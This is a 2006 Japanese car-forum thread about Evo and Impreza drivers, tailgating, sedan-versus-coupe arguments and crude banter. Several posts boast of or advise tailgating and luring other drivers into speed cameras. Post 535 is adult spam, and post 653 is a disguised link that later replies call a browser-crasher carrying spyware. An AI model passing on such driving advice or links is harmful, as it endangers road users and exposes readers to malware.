エボインプ乗って頻繁にキレてたら免許が何枚あっても足らんよ。
518 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 22:28:37 ID:1Ub+tIIM0
＞親からスポーツカー禁止令が下った。
＞でもランエボのGT-A買ってウィング外して普通のセダンと言い張る気らしい。

ＧＣとかエボⅠ～Ⅳぐらいのモデルは親から援助受けて買う若いヤツはそうやって
車詳しくない親騙すヤツ多いみたいねｗ。

でもＧＴ-Ａはノーマルならリアスポ外さんでも十分普通のセダンに見えると思うけどな。
俺、昔エボⅢ買った時、母ちゃんはあれを普通のセダンだと思い込んでたぞ。あんなデカイ羽付いてるのにｗ。


519 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 23:09:33 ID:q+lJmtjb0
エボはともかくブルのSSS－Rなんて見た目まんま只のセダンだろ。
520 ：名無しさん＠そうだドライブへ行こう：2006/01/28(土) 23:51:48 ID:lQtU2vyy0
>親からスポーツカー禁止令が下った。

以前同じ目に遭いながらもFDに買い換えた奴がいたな。
見た目はスポーツカーだけど、排気量1300ccしかない
普通の車と言い張ったら、車に疎い母を説得できたらしいw


>>518
去年出たエボワゴンも簡単に騙せそうだねw
521 ：名無しさん＠そうだドライブへ行こう：2006/01/29(日) 09:32:54 ID:bfg8F9vn0
俺をキレさせたらたいしたもんだよ
522 ：名無しさん＠そうだドライブへ行こう：2006/01/29(日) 09:44:49 ID:24pm54wJ0
>>518-520
まあ車に疎い人にとってはドアが４枚ある時点でスポーツ車とは思わないんだろね。
ＲＸ-８の観音開きドアなんて買う時に女房騙すのが主目的だしｗ
523 ：名無しさん＠そうだドライブへ行こう：2006/01/29(日) 10:56:11 ID:RL5UzKKtO
そんな俺はST202海苔
すいません足元にも及びません
524 ：名無しさん＠そうだドライブへ行こう：2006/01/29(日) 11:02:23 ID:/rxcce2U0
俺の弟が親に泣きついて中古のインプを買ってもらってたんだが、
その時に親を口説くのは簡単だったなぁ。
近所で習字塾を営んでる翁がC'zに乗ってたから、あれのセダンだって言ったらOKだったもんなぁ。
525 ：名無しさん＠そうだドライブへ行こう：2006/01/29(日) 14:01:40 ID:Dh+8BFGU0
近くのスバルの店長らしきひとが宣伝がてら？でインプ乗ってるが印象いいぞ。
店長からだとおもうが。。。

でも、モデルチェンジするたびに乗り換えてる気がするから羨ましい。

エボ乗りは印象悪いの多いなー。
最近はないが、前は同じエボに何回も煽られたもんだから、抜かされないようにしてみた＾＾
そんな自分はＢ１５乗り。
エボの2分の1の性能しかねぇよ!!
いや、3分の1か？
526 ：名無しさん＠そうだドライブへ行こう：2006/01/29(日) 14:55:19 ID:iEbgcMu10
↑
ヘンケン
527 ：名無しさん＠そうだドライブへ行こう：2006/01/29(日) 20:03:41 ID:Ibz1FG2p0
Ｂ１５なんて言われてもなんて車かわかんねーから車名でかいてね
528 ：名無しさん＠そうだドライブへ行こう：2006/01/29(日) 20:29:07 ID:35O4YNcnO
マイナー車を型式で呼ぶなよ
オーナーかヲタしか分からんよ
529 ：名無しさん＠そうだドライブへ行こう：2006/01/30(月) 09:59:22 ID:PQlVImUQ0
Ｂ１５ってサニーじゃなかったっけ？たしかＶＺ－Ｒとかいう１７５馬力の
モデルがあったような・・・・で、Ｎ１５パルサーにはＶＺ－ＲのＮ１とか
いう２００馬力のやつがあったような・・・・違ったっけ？
530 ：名無しさん＠そうだドライブへ行こう：2006/01/30(月) 10:00:19 ID:DJ5/7jPY0
昔は80スープラRZに乗ってたのだが
結婚を機に嫁さんからワゴンかミニバンに
買い替え命令が下り、指示通りにワゴンに買い替えました。
ただ買い換えた車がステージア後期260RSｗ
3年経った今じゃ540PSのファミリーカー
車に疎い嫁にはその辺走っているアコードワゴンと同じように
見えるらしいｗ
531 ：名無しさん＠そうだドライブへ行こう：2006/01/30(月) 10:53:34 ID:whpIlWThO
>>530
恐るべしRB26ｗ

スレ違いだけどＺ33ってRB26に積み換える事ってできんの？
532 ：名無しさん＠そうだドライブへ行こう：2006/01/30(月) 15:51:14 ID:RvE44fpo0
出来なくは無い
あとはどの位お金を出せるかだ
533 ：名無しさん＠そうだドライブへ行こう：2006/01/30(月) 16:30:16 ID:oMZC80aTO
乙32にRB26改3L搭載した椰子が昔雑誌に出てたから大丈夫だろう
534 ：名無しさん＠そうだドライブへ行こう：2006/01/30(月) 16:48:37 ID:DKL34EHG0
>>530
乙な選択ですな。
糞ミニバンに逃げなかったアナタは偉いよ。
535 ：名無しさん＠そうだドライブへ行こう：2006/01/30(月) 16:49:28 ID:3/nUQpdi0

オナネタ画像掲示板

http://i-bbs.sijex.net/imageDisp.jsp?id=g5g5g&file=1137923930557o.jpg
http://i-bbs.sijex.net/imageBoard.jsp?id=g5g5g
536 ：名無しさん＠そうだドライブへ行こう：2006/01/30(月) 17:43:31 ID:AcT3qYmT0
ヘボ、インポ乗りは車間距離取らないやつが多いから
それで煽られている気になるんじゃないかと思うんだが。
537 ：名無しさん＠そうだドライブへ行こう：2006/01/30(月) 18:07:36 ID:ZdkoVMbt0
>>529
ＶＺ－ＲのサニーはＪＢ１５です。
ＪＮ１５がパルサー＆ルキノハッチ

で、俺はその１．６Ｌ　２００馬力のＮ１乗ってます。
538 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 00:06:19 ID:og3ceASF0
＞で、俺はその１．６Ｌ　２００馬力のＮ１乗ってます。

部品とかあるのか？たとえばショックとか・・・マイナー車は大変じゃないか？
以前ＥＢ１２サニーＶＲ乗ってたが、リヤショックが抜けると大変だったよ。
539 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 00:27:46 ID:TJR6IgkG0
エボ海苔だが、スポーツタイプ乗ってるオタとか普通に煽る。
DQNカーとかVIP軽とかも煽る。
峠で鬱陶しい奴も煽る。
普通の車は煽らないし、普通に走ってても煽らない。
オタは別だが。
540 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 00:48:56 ID:KcJcqJiP0
はいはいわろすわろす
541 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 00:54:55 ID:qOVl9XNr0
バトルの相手でもないのに煽ってなにが楽しいの？
542 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 01:07:08 ID:5n5D3BMm0
「俺様はこんなに速いんだぜー」って。

でもあなた、それ車が速いだけですから。
543 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 07:16:33 ID:0i90iDE6O
>>542
それがなにか問題あり？
速いから買ったんじゃないの？？
544 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 07:51:44 ID:C/rnj11oO
貧乏人の僻みだろ。
オレもエボ糊だけど、アオッてくるのはミニバンやら軽が意外と多い。昨日は高速でﾌｨｯﾄにアオられたよ。
あと家族乗せたミニバンとか一生懸命付いてきたりとかあるな。
545 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 07:56:34 ID:jAgvJZaU0
>>544
別にそれほど高い車ではないと思うが・・
＞家族乗せたミニバン
エボとかインプ買いたかったけど嫁の反対で買えなくて未練があるに一票
546 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 08:01:02 ID:9aZP5QV70
煽られる煽られないに関係なく
後ろにつかれると不快
547 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 09:33:21 ID:xS+n2g/00
知らんがな
548 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 09:38:25 ID:/aTnyQne0
何に対して不快なのかさっぱり
549 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 15:10:29 ID:BI3i4e5y0
>>544
Ⅵ糊だがスパルタンに同意。
550 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 15:20:21 ID:65La8oR1O
意識せんかったらいーやん。みんな意識しすぎ。
551 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 15:21:58 ID:tZmazeTb0
適度に車間距離空けてマナーよく走ってりゃ、意識なんてしませんがな
552 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 15:27:59 ID:lgU7Djg00
ここの>>1なんかモロ意識してるじゃん
553 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 15:27:59 ID:LO5gMYpIO
んだんだ。自意識過剰
554 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 15:53:22 ID:BI3i4e5y0
フィットとか糞ミニバンとかが無茶苦茶な運転が多い。
555 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 15:55:42 ID:Alq/y9kIO
>>549
>【スパルタンに同意】
なんか変な言い回しだけどﾏｼﾞでﾜﾛﾀ(ﾟ∀ﾟ)!!!
556 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 15:58:47 ID:nNqIStv/O
　エボ8海苔だが、普通に走ってても煽ってくるミニバンが多い。
557 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 20:50:02 ID:9aZP5QV70
スパルタンＸ
558 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 21:21:01 ID:WO+g/dwk0
おっさんﾊｹｰﾝｗ
559 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 22:03:14 ID:r0g22xQ30
>>527
ｺﾞﾒｿ

>>523
"普通車"の中なら結構有名でない？
でも、型式じゃ無理かorz

>>529
ご名答!!
最終モデルのサニーです。
VZ-Rというスポーツモデルあります。
パルサーのほうもありますよー。

>>537
ｳﾗﾔﾏｼｲﾉｫ。
560 ：名無しさん＠そうだドライブへ行こう：2006/01/31(火) 22:32:40 ID:e5JQQ9Ea0
>>549
RA乗りだけど俺も同意
561 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 08:18:33 ID:0d5dege6O
>>545ｵﾏｴ友達出来ないだろ？
562 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 09:27:36 ID:pdlvaMVOO
ミラーに写る姿を見るたび「ガンダムみたいな車だな」となぜか思っちゃう
563 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 09:32:31 ID:DqSkJYGB0
それは、おまいがｶﾞﾝﾀﾞﾑｦﾀだからだよ。
564 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 09:41:51 ID:Vgvs02OE0
だな。普通は思わん。
565 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 11:03:34 ID:9lcK1l740
付かれるのが嫌なら、先行ってヨシだろ。
566 ：おい馬鹿ども！：2006/02/01(水) 11:30:41 ID:8ezukkJO0
STi乗りだけど、なんか文句ある？
エボでもインプでも後ろに付かれたら
さっさとどけよ、この屑車乗りがｗ
567 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 11:54:15 ID:I6gljpmn0
この前ｲﾝﾌﾟWRXに煽られた。ﾑｶﾂｲﾀので煽り返してやろうと思ったが、追いつけませんでした。速すぎます。

でも、信号機のお陰で煽り返せました。
568 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 12:16:22 ID:qUbX9hUTO
>>545
逆だろ。
エボインプは嫁に反対されてスポーツクーペ買えない人のための車と思うが。

>>561
意味不明
569 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 12:53:50 ID:HkyIXJy90
さっさとどけよ
この、屑ミニバンどもが。
570 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 12:55:48 ID:HkyIXJy90
>>568
>エボインプは嫁に反対されてスポーツクーペ買えない人のための車と思うが。


自ら進んでスポーツセダンに乗ってるつもりですが。
なんちゃってスポーツクーペなんかより遥かにいいです。
571 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 13:39:44 ID:o16z9S2y0
なんでｸｿﾐﾆﾊﾞﾝって抜かされたあと必死になって付いてくるわけ？

ｺｰﾅｰとかで置いてかれたら、諦めればいいのに。
直線になるとｱｸｾﾙ踏んでｳｻﾞｲ

572 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 14:04:45 ID:HkyIXJy90
高速や自動車専用道路なら、オービス自爆誘導をかけてやってます。
頭のいい奴は引っかからないが、糞ミニバンはアホばっかしだからよく釣れる。
573 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 14:22:30 ID:qUbX9hUTO
>>570
なんちゃってスポーツクーペ…うちの８の事言ってんのか？ｗ
そりゃそうだ。最近のエボインプなんてヘタしたらGT-Rでもかなわんだろ。
毎年改良されてるバケモンだからな。
逆にあまりにも性能良過ぎて物足りなくなるんじゃないかという気もするが。
今時の電子制御４WDどれほど凄いのか一度体験してみたいが。
574 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 15:23:21 ID:MhP3EC0b0
エクシブとかＥＤがそうだったけど8も4ドアクーペってジャンルになるの？
まぁ、エクシブやＥＤなんてただの狭くて鈍くさいセダンだったけど。
575 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 15:54:42 ID:G9+az9Sn0
俺はこの2車種に煽られた事など無いに等しいけどなあ。
よく休日に田舎のワインディングとか通るけど
エボインプが後ろに来ると
普通の車間でいかにも消化不良な顔してついてくるので
しばらく走っても道が一緒なら可哀想なので
コンビニや待避所でかわしてやってる。
しかし俺の車も9年落ちとは言え2.5のステーションワゴンなので
飛ばしてる時は流してるエボインプに追いつくが
その時俺が追い抜いても無反応だった。
たぶん性能差がありすぎるので相手にしないのだろう。
576 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 16:09:16 ID:ph8+sp/20
多分>>575がうんこ漏れそうな顔してたんで
スルーしたかったんじゃねーのｗ
577 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 16:13:10 ID:QcOZ9oks0
>>574
RX-8だけでなく、アクセラとかアテンザスポーツなんかも4ドアクーペでいいんじゃね？
公式サイトなんかだとアクセラはセダンカテゴリだけど、
販社の中の人はアクセラのことを「4ドアだけどクーペスタイル」みたいな言い回ししてたし。
578 ：575：2006/02/01(水) 16:18:29 ID:WVrn3phc0
>>576
ドキッ。
579 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 17:11:13 ID:cZKv6rzRO
４ドアクーペw
そんなもんねーよ
４ドアクーペも２ドアセダンもない
セダンはセダン、クーペはクーペだ
アホかおまえら
580 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 17:19:07 ID:9lcK1l740
>>579
無いけど、作ったから在る。
581 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 18:47:45 ID:BUSrgCdv0
勝手につくんな
582 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 18:53:27 ID:MhP3EC0b0
>>579
"4ドアクーペ"でググると13,000件ほどヒットするんだけど。
正式にはないとしても一般に通用するだろ。
583 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 18:53:46 ID:su3OZxyG0


　　ここはセダンとクーペの違いを語るスレとなりましたｗ
584 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 18:53:59 ID:wgbbG5N60
俺のはクーペとかメーカーはぬかしてるけどどう考えても２ドアセダンです
585 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 19:04:53 ID:0d5dege6O
レガシィもムキになって付いてくる輩が多い。エボに張り合っても仕方ない気するが。
586 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 19:05:52 ID:BUSrgCdv0
じゃあ４ドアクーペの定義は？
４ドアスポーツセダンとの違う点は？
587 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 19:20:20 ID:vjZQlfgX0
自分でググレ！
588 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 19:38:47 ID:BUSrgCdv0
>>587
説明できませんって言えないのか？
定義が自分でも分かってない何よりの証拠だなｗ
589 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 21:31:59 ID:Y/fy/aIv0
ちっちぇーな、君たち。

車の外観で大事なのは美しいか否か。これだけ。



で、漏れの丸目インプは如何でしょうか？
590 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 21:36:13 ID:U+4LPoAyO
>>589
丸目は基本的に美しい
漏れのｾﾘｶも…
591 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 21:45:54 ID:cZKv6rzRO
４ドアクーペがあるなら、オデッセイやウィッシュは３列シートステーションワゴンてことなの？
592 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 22:51:08 ID:rgG531Hk0
>>588
で定義は？

まさか>>579で既出とか言わないでよｗ

593 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 22:51:47 ID:VXVh0HH50
おい糞ども、煽る位ならとっとと抜いてくれ。
速いんだろ？その車。
594 ：名無しさん＠そうだドライブへ行こう：2006/02/01(水) 23:17:11 ID:WPtX393X0
ヘタそうな奴を抜くのはリスク考えちゃうよ
どうしても
595 ：名無しさん＠そうだドライブへ行こう：2006/02/02(木) 00:01:52 ID:AxnwW7wd0
私見でいいなら
「クーペとはルーフ～リアウィンドウ～トランクまで滑らかな線で構成されていること」とか。
でもこれだと、年式の古い車・・・S13とかは当てはまらなくなるなぁ。

こうしよう。
基本は4Dr＝セダン、2Dr＝クーペ。
で、4Drの中でも特にルーフ～リアウィンドウ～トランクのラインが滑らかなものは4Drクーペ。
2Drなんだけど、車両ベースが4Drで、その構成も2Drである点以外は4Drと共通のものは2Drセダン。
・・・でもどれがそうかわかんね。
俺の定義だと、インプ海苔ですら認めることもある2Drインプの2Drセダン認定すら危ういし。
あれってルーフ～リアウィンドウのラインが2Drと4Drで違うし。
596 ：名無しさん＠そうだドライブへ行こう：2006/02/02(木) 00:14:21 ID:vqVRMv580
この世には２つの車がある
ｾﾀﾞﾝかｸｰﾍﾟか、だ

他はｺﾞﾐ
597 ：名無しさん＠そうだドライブへ行こう：2006/02/02(木) 00:28:08 ID:UCWczNdw0
>>592
何で俺に聞くの？
分からないから聞いてるんだが？
流れ読めてる？
598 ：名無しさん＠そうだドライブへ行こう：2006/02/02(木) 04:12:30 ID:mG7E5fuq0
>>597
なんか随分と偉そうな奴だな


　テ　ラ　キ　モ　ス　（　´,_ゝ`）ﾌﾟｯ
599 ：名無しさん＠そうだドライブへ行こう：2006/02/02(木) 12:09:43 ID:0ycMDclj0
名ばかりのGTは道をあける。

DQNばかりの糞ミニバンは道をあけない・・・
600 ：名無しさん＠そうだドライブへ行こう：2006/02/02(木) 13:31:09 ID:e4c8HzqW0
>>599
道をふさぐの方がいいな
601 ：名無しさん＠そうだドライブへ行こう：2006/02/02(木) 14:18:42 ID:Jz6Y6nUx0
>>598
逆切れ厨かよ
ｼｮﾎﾞｗｗｗｗ
602 ：名無しさん＠そうだドライブへ行こう：2006/02/02(木) 20:26:42 ID:FFq4+aWD0
名ばかりのジーテーは道をふさぐ
603 ：名無しさん＠そうだドライブへ行こう：2006/02/03(金) 11:00:44 ID:3TDfNsIJ0
まあ、エボ・インプはスポーツでもGTでもないしな。
604 ：名無しさん＠そうだドライブへ行こう：2006/02/03(金) 11:28:43 ID:3TDfNsIJ0
ミニバンは
　速くもないのに
　　　　　すぐ煽る

抜いた挙句に
　　パカパカブレーキ
605 ：名無しさん＠そうだドライブへ行こう：2006/02/03(金) 22:12:28 ID:Dpk5wqgN0
コンビニを
　番長駐めで
　　入り口塞ぐ
606 ：名無しさん＠そうだドライブへ行こう：2006/02/03(金) 23:47:34 ID:Su+COnhr0
クーペ系に乗ってる連中から
エボ・インプは「所詮、４ドア車だろ」と言われるのが腹立つ。
607 ：名無しさん＠そうだドライブへ行こう：2006/02/03(金) 23:55:04 ID:uVCKS7w00
>>606
STiⅢ乗りだけど昔リアのウイングをⅤ型のに換えた時に思ったよ。

『あ～ぁ、羽根がないとまるでカローラじゃん、これ』とね。でも速いからおっけ。
608 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 00:03:08 ID:EHMkpaLmO
高速で流れに乗ってるだけなのに…みんな避けてくれるのは、一体なぜ？


避けてもらったら抜かなきゃないじゃん…
飛ばすのはサーキットオンリーなのに…

orz
609 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 00:30:23 ID:O0P3b7Ev0
それだけ腐った乗り手が多いって事だ。
610 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 01:06:47 ID:IlAWa5eK0
違うよ、ゆうこりんこはうんこしないよ！
611 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 01:09:01 ID:usfUoR8w0
肛門はないけどうんこはするよ
612 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 01:29:45 ID:2YchRYIA0
うんこはするけどまんこはないよ！
613 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 01:31:28 ID:1FIrcji70
エボインプってバカでかいフォグが純正で付いててしかもみんな街中で点けてる
あんなもん純正で付けるな！とゆいたいです
614 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 01:39:06 ID:wcG5bf7B0
>>607
GDだとプラッツと見間違えるｗ
615 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 01:56:12 ID:bL+GiyJM0
インプレッサ乗ってるけど、2ch見たら物凄く評判悪いんで
一人でイメージアップ運動推進中

煽らない なるべく道を譲る 横断歩道で人がいたら止まる等
本当はして当然の事なんだけどな…
616 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 02:25:42 ID:CDrZZX520
>>613
バカでかいフォグ？
エボに限っては４～６までだが、バカでかいというサイズでもなければ
あまり常用しないし点けたとしても明るくないぞ。

７～９に至ってはバカでかいフォグすら付いてないがな。
617 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 02:29:22 ID:B7QXAbjz0
でかそうなフォグカバーは付いてるけど中身のランプを付けていない罠
付けたとしても55Wの小光量の奴しか付かんけどな
618 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 02:30:37 ID:Ngwwo6Sf0
>>606
単なるクーペの時代はとうの昔に終わった。
気にする方が馬鹿。
619 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 06:58:51 ID:Didb01xQ0
>>613-614

それを言うなら矢鱈と目の位置が高い
ミヌバソやマーチの方がウザイと思われ。

620 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 07:00:44 ID:Didb01xQ0
>>615
大丈夫、半分以上は免許もない脳内厨房だ。
ここで知り得た僅かなネタで叩いてるだけ。
621 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 09:26:29 ID:EVWpLoDP0
納車されたらOPのﾌｫｸﾞ買おうと思ってたが未だにおっぱいｶﾊﾞｰのまま・・・。
622 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 10:25:40 ID:YjwI7t1D0
　 _ 　∩
(　ﾟ∀ﾟ)彡　おっぱい！おっぱい！
　⊂彡
いっそﾗﾝﾌﾟﾎﾟｯﾄﾞつけませう
623 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 15:13:11 ID:Ltd3lV+p0
>>621
中古で手に入れたのだが、フォグは標準装備でないのか。
それとも、GSRでなくてRSの話か？
624 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 15:37:39 ID:lMD/xD/80
>>613
エボは他の人が書いてくれてるので省略するが
インプについても、ほとんどの人はフォグカバーついてると思うぞ
つーかフォグ自体付いて無いのも結構あるぞ

一体、どこの地域の話だよ
625 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 15:43:45 ID:oR6Qlopv0
疣インポセル塩ベンツに煽られても何とも思わないが
ｂBステップとかミニバンに煽られるとウザくてしかたない
DQNはHID付けるなや
626 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 16:23:57 ID:9pWbIixP0
近所にインプにランプポッド付けてるバカは居るけどなｗ
627 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 16:43:10 ID:elz5XCuuO
モンテカルロラリーじゃあるまいし…
エボインプ乗りは何故フォグを街中でいっぱいつけたがるのか
628 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 18:02:19 ID:by/Vy9Q80
スポーツ系の車は意外と煽らない。

勘違いミニバンや軽が煽ってくるな。

白ハンドルライフにピッタづけで走られたときは、
ぬっ殺そうかとおもた。
629 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 18:07:45 ID:G9KZeoqu0
>628
いったん譲る→ぴったり後ろに付ける（付けるだけでおｋ）→あわててライフ退く
→ｻﾝｷｭｰﾊｻﾞｰﾄﾞ出しつつチギる

でおｋ
630 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 18:09:20 ID:J2pAQKmi0
＞あわててライフ退く

これは無い。
631 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 18:17:00 ID:XOR+BY3c0
【ぶつかりに逝く】
632 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 19:31:58 ID:YjwI7t1D0
ﾅﾝｼｰより緊急連絡！
633 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 19:34:09 ID:lMD/xD/80
>>630
激しく同意
あいつらは前しか見てない。
634 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 19:57:20 ID:is5JX9m60
BMWがピタリとついてきたので道を空けてやったら318だった。
何か損した気分だった。
635 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 20:09:56 ID:0Mxqx6unO
エボとかインプとか結構法定速度+10kmぐらいで走ってるぞ。最近は1box(オデッセイ、アルファード、エルグランド、ステップワゴンなど)が弾丸のようにカッ飛んで行くのを頻繁に見掛ける。
636 ：名無しさん＠そうだドライブへ行こう：2006/02/04(土) 20:15:16 ID:0Mxqx6unO
てゆーかこの前のE55!!信号が青になったとたん前に出やがって!!アブねーだろが!!











あれって結構いい加速すんのな。シャアアーって。惚れたよ。
637 ：名無しさん＠そうだドライブへ行こう：2006/02/05(日) 00:25:20 ID:tnIXLSUT0
>>624
インプのSTiにはフォグの配線すらありません。
デラオプションでつける奴は居るけど、大体
おぱーいカバーのままがデフォの様な希ガス。
638 ：名無しさん＠そうだドライブへ行こう：2006/02/05(日) 00:33:24 ID:qITYAQeB0
インプは貧乳だよなぁ
せめてエボ６くらいじゃないと
「おぱーいカバー」とは言えないぞ
639 ：名無しさん＠そうだドライブへ行こう：2006/02/05(日) 00:59:04 ID:kUCq7HJN0
ランエボとかインプレッサ乗ってみたいなぁ
茨城県の人乗せてよ
640 ：名無しさん＠そうだドライブへ行こう：2006/02/05(日) 01:02:05 ID:qITYAQeB0
去年の暮れまでは茨城の鹿嶋に居た、現在は大阪　残念
641 ：名無しさん＠そうだドライブへ行こう：2006/02/05(日) 09:01:23 ID:pJhLYYVP0
>>613は脳内ってことでFA？
642 ：名無しさん＠そうだドライブへ行こう：2006/02/05(日) 12:59:14 ID:serb4Jsq0
Ⅵ乗りなんだが、おぱーい、おぱーい云うなよw
643 ：名無しさん＠そうだドライブへ行こう：2006/02/05(日) 13:32:57 ID:MCTMgZmg0
Ⅴ時代は新型出たら買おうと思ってたのにⅥの顔を見てインプに流れますた
644 ：名無しさん＠そうだドライブへ行こう：2006/02/05(日) 14:56:03 ID:Hk/lJzPl0
>642
　 _ 　∩
(　ﾟ∀ﾟ)彡　おっぱい！おっぱい！
　⊂彡
645 ：名無しさん＠そうだドライブへ行こう：2006/02/05(日) 18:04:18 ID:LmZKrm440
>>642
ttp://www.fresh99.com/kasumi-fight-stance.htm
646 ：名無しさん＠そうだドライブへ行こう：2006/02/05(日) 18:04:31 ID:wOF9IrWb0
>644
おまいって奴はｗ
647 ：名無しさん＠そうだドライブへ行こう：2006/02/05(日) 18:05:54 ID:wOF9IrWb0
>645
感動した！
648 ：名無しさん＠そうだドライブへ行こう：2006/02/05(日) 22:09:35 ID:YVIohBCV0
>>642には今流行の付け乳首装着が義務付けられました。
おめでとう>>642!!
649 ：名無しさん＠そうだドライブへ行こう：2006/02/06(月) 01:43:43 ID:Sp1f4/I10
おい、キモデブ、エボインプはメーカーが汗水たらして開発した
スペシャルマシンなんだよ。お前らみたいなデブが乗ったら軽量
化の意味がなくなる。「カーボンボンネットでノーズの入りが・
・」とか言う前に自分が痩せろ。生身で峠を転がれ。恥を知れ。
650 ：名無しさん＠そうだドライブへ行こう：2006/02/06(月) 07:00:34 ID:GqTmua670
>>649
そのとおりです
気をつけます
651 ：名無しさん＠そうだドライブへ行こう：2006/02/06(月) 17:14:29 ID:oEWEOF33O
逆に言うと、ウイングでダウンフォースを稼ぐ必要がなくなるわけだな
652 ：名無しさん＠そうだドライブへ行こう：2006/02/06(月) 17:17:08 ID:T/8WYatZ0
エヴォ＆インプ海苔がキモオタって叩かれてるけど
なんでなんだろーね？という俺はSTiⅢ海苔だが
全然キモオタじゃないけど・・・
653 ：名無しさん＠そうだドライブへ行こう：2006/02/06(月) 17:24:31 ID:KZ85KF4r0
>>652
ここ見てみろｗ地獄の印譜糊がキモヲタぶり全開だ！m9(＾Д＾)ﾌﾟｷﾞｬｰｰｰｯ

http://www.hellplant.org/cgi-bin/xoor/serpent.cgi
654 ：名無しさん＠そうだドライブへ行こう：2006/02/06(月) 17:27:56 ID:OdQACYp20
>>653
これはひどい
655 ：名無しさん＠そうだドライブへ行こう：2006/02/06(月) 17:41:47 ID:1pNDTA4M0
>>ここ見てみろｗ地獄の印譜糊がキモヲタぶり全開だ！m9(＾Д＾)ﾌﾟｷﾞｬｰｰｰｯ
ここほんとすごいから・・
http://www.h6.dion.ne.jp/~teikoku8/
656 ：名無しさん＠そうだドライブへ行こう：2006/02/06(月) 17:46:14 ID:o7wNOQD+0
>>655
普通っぽいが・・・
657 ：名無しさん＠そうだドライブへ行こう：2006/02/06(月) 17:49:16 ID:1pNDTA4M0
>>653
この野郎！なんだこれは？
658 ：名無しさん＠そうだドライブへ行こう：2006/02/06(月) 18:54:50 ID:0o+c+K4Q0
>>653
オマエは出入り禁止。
659 ：名無しさん＠そうだドライブへ行こう：2006/02/06(月) 19:47:29 ID:YDWCeF7+0
>>653
有害ブラクラみたいです。気をつけてください。
660 ：名無しさん＠そうだドライブへ行こう：2006/02/06(月) 21:58:35 ID:h2CiRUrV0
>>653
スパイウエアを探知しました m9っ`･ω･´)ｼｬｷｰﾝ
